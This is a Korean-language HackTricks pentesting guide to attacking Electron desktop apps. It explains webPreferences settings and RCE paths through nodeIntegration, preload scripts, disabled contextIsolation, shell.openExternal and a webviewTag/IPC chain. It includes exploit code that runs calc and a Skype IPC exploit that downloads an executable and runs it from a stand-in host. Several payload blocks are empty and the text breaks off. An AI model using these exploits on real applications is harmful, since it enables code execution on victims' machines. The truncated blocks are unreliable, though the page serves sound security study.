# Electron Desktop Apps
{{#include ../../../banners/hacktricks-training.md}}
## Introduction
Electron은 로컬 백엔드(**NodeJS**)와 프론트엔드(**Chromium**)를 결합하지만, 최신 브라우저의 일부 보안 메커니즘이 부족합니다.
일반적으로 전자 앱 코드는 `.asar` 애플리케이션 내부에 있으며, 코드를 얻으려면 이를 추출해야 합니다:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Electron 앱의 소스 코드에서 `packet.json` 안에 보안 설정이 지정된 `main.js` 파일을 찾을 수 있습니다.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron에는 2가지 프로세스 유형이 있습니다:
- Main Process (NodeJS에 완전 접근 가능)
- Renderer Process (보안상의 이유로 NodeJS 접근 제한 필요)
.png>)
**renderer process**는 파일을 로드하는 브라우저 창이 될 것입니다:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
**렌더러 프로세스**의 설정은 **main.js** 파일의 **메인 프로세스**에서 **구성**할 수 있습니다. 일부 구성은 **설정이 올바르게 구성되면** Electron 애플리케이션이 RCE 또는 기타 취약점에 노출되는 것을 **방지**합니다.
Electron 애플리케이션은 Node API를 통해 **장치에 접근할 수 있지만**, 이를 방지하도록 구성할 수 있습니다:
- **`nodeIntegration`** - 기본값은 `off`입니다. 켜면 렌더러 프로세스에서 노드 기능에 접근할 수 있습니다.
- **`contextIsolation`** - 기본값은 `on`입니다. 꺼지면 메인 프로세스와 렌더러 프로세스가 격리되지 않습니다.
- **`preload`** - 기본값은 비어 있습니다.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 기본값은 꺼져 있습니다. NodeJS가 수행할 수 있는 작업을 제한합니다.
- 워커에서의 Node 통합
- **`nodeIntegrationInSubframes`** - 기본값은 꺼져 있습니다.
- **`nodeIntegration`**이 **활성화**되면, 이는 Electron 애플리케이션 내의 **iframe에 로드된 웹 페이지에서 Node.js API**를 사용할 수 있게 합니다.
- **`nodeIntegration`**이 **비활성화**되면, 프리로드는 iframe에서 로드됩니다.
구성 예시:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
일부 **RCE 페이로드**는 [여기](https://7as.es/electron/nodeIntegration_rce.txt)에서 확인할 수 있습니다:
```html
Example Payloads (Windows):
Example Payloads (Linux & MacOS):
```
### 트래픽 캡처
start-main 구성을 수정하고 다음과 같은 프록시 사용을 추가하세요:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron 로컬 코드 주입
Electron 앱을 로컬에서 실행할 수 있다면 임의의 자바스크립트 코드를 실행할 수 있을 가능성이 있습니다. 방법은 다음을 확인하세요:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}
## RCE: XSS + nodeIntegration
**nodeIntegration**이 **on**으로 설정되어 있다면, 웹 페이지의 자바스크립트는 `require()`를 호출하는 것만으로 Node.js 기능을 쉽게 사용할 수 있습니다. 예를 들어, Windows에서 calc 애플리케이션을 실행하는 방법은 다음과 같습니다:
```html
```
## RCE: preload
이 설정에서 언급된 스크립트는 **렌더러의 다른 스크립트보다 먼저 로드되므로**, **Node API에 무제한으로 접근할 수 있습니다**:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
따라서, 스크립트는 node-features를 페이지로 내보낼 수 있습니다:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```
```html:index.html
```
> [!NOTE] > **`contextIsolation`이 켜져 있으면, 이 방법은 작동하지 않습니다**
## RCE: XSS + contextIsolation
_**contextIsolation**_은 **웹 페이지 스크립트와 JavaScript Electron의 내부 코드 간의 분리된 컨텍스트**를 도입하여 각 코드의 JavaScript 실행이 서로 영향을 미치지 않도록 합니다. 이는 RCE의 가능성을 제거하기 위한 필수 기능입니다.
컨텍스트가 분리되지 않으면 공격자는:
1. **렌더러에서 임의의 JavaScript 실행** (XSS 또는 외부 사이트로의 탐색)
2. **프리로드 또는 Electron 내부 코드에서 사용되는 내장 메서드**를 자신의 함수로 덮어쓰기
3. **덮어쓴 함수의 사용**을 **트리거**
4. RCE?
내장 메서드를 덮어쓸 수 있는 두 곳이 있습니다: 프리로드 코드 또는 Electron 내부 코드:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### 클릭 이벤트 우회
링크를 클릭할 때 제한이 적용되는 경우, 일반 왼쪽 클릭 대신 **중간 클릭**을 통해 이를 우회할 수 있습니다.
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
이 예제에 대한 자세한 정보는 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 및 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)를 확인하세요.
Electron 데스크탑 애플리케이션을 배포할 때 `nodeIntegration` 및 `contextIsolation`에 대한 올바른 설정을 보장하는 것이 중요합니다. 이러한 설정이 적용되면 **클라이언트 측 원격 코드 실행 (RCE)**이 프리로드 스크립트나 메인 프로세스의 Electron 네이티브 코드를 대상으로 하는 것을 효과적으로 방지할 수 있습니다.
사용자가 링크와 상호작용하거나 새 창을 열면, 애플리케이션의 보안 및 기능에 중요한 특정 이벤트 리스너가 트리거됩니다:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
이 리스너는 **데스크탑 애플리케이션에 의해 재정의되어** 자체 **비즈니스 로직**을 구현합니다. 애플리케이션은 탐색된 링크가 내부에서 열려야 하는지 또는 외부 웹 브라우저에서 열려야 하는지를 평가합니다. 이 결정은 일반적으로 `openInternally`라는 함수를 통해 이루어집니다. 이 함수가 `false`를 반환하면, 링크가 외부에서 열려야 함을 나타내며, `shell.openExternal` 함수를 사용합니다.
**여기 간단한 의사코드가 있습니다:**
.png>)
.png>)
Electron JS 보안 모범 사례는 `openExternal` 함수를 사용하여 신뢰할 수 없는 콘텐츠를 수용하지 말 것을 권장합니다. 이는 다양한 프로토콜을 통해 RCE로 이어질 수 있습니다. 운영 체제는 RCE를 유발할 수 있는 다양한 프로토콜을 지원합니다. 이 주제에 대한 자세한 예제와 추가 설명은 [이 리소스](https://positive.security/blog/url-open-rce#windows-10-19042)를 참조할 수 있으며, 여기에는 이 취약점을 악용할 수 있는 Windows 프로토콜 예제가 포함되어 있습니다.
macOS에서는 `openExternal` 함수를 악용하여 `shell.openExternal('file:///System/Applications/Calculator.app')`와 같은 임의의 명령을 실행할 수 있습니다.
**Windows 프로토콜 악용의 예는 다음과 같습니다:**
```html
```
## RCE: webviewTag + 취약한 preload IPC + shell.openExternal
이 취약점은 **[이 보고서](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**에서 찾을 수 있습니다.
**webviewTag**는 **더 이상 사용되지 않는 기능**으로, **렌더러 프로세스**에서 **NodeJS**를 사용할 수 있게 해주며, 이는 preload 컨텍스트 내에서 스크립트를 로드할 수 있게 하므로 비활성화해야 합니다.
```xml
```
따라서, 임의의 페이지를 로드할 수 있는 공격자는 해당 태그를 사용하여 **임의의 프리로드 스크립트**를 로드할 수 있습니다.
이 프리로드 스크립트는 **취약한 IPC 서비스(`skype-new-window`)**를 호출하는 데 악용되었으며, 이 서비스는 **`shell.openExternal`**을 호출하여 RCE를 얻었습니다:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## 내부 파일 읽기: XSS + contextIsolation
**`contextIsolation` 비활성화는 `` 태그의 사용을 가능하게 하여**, `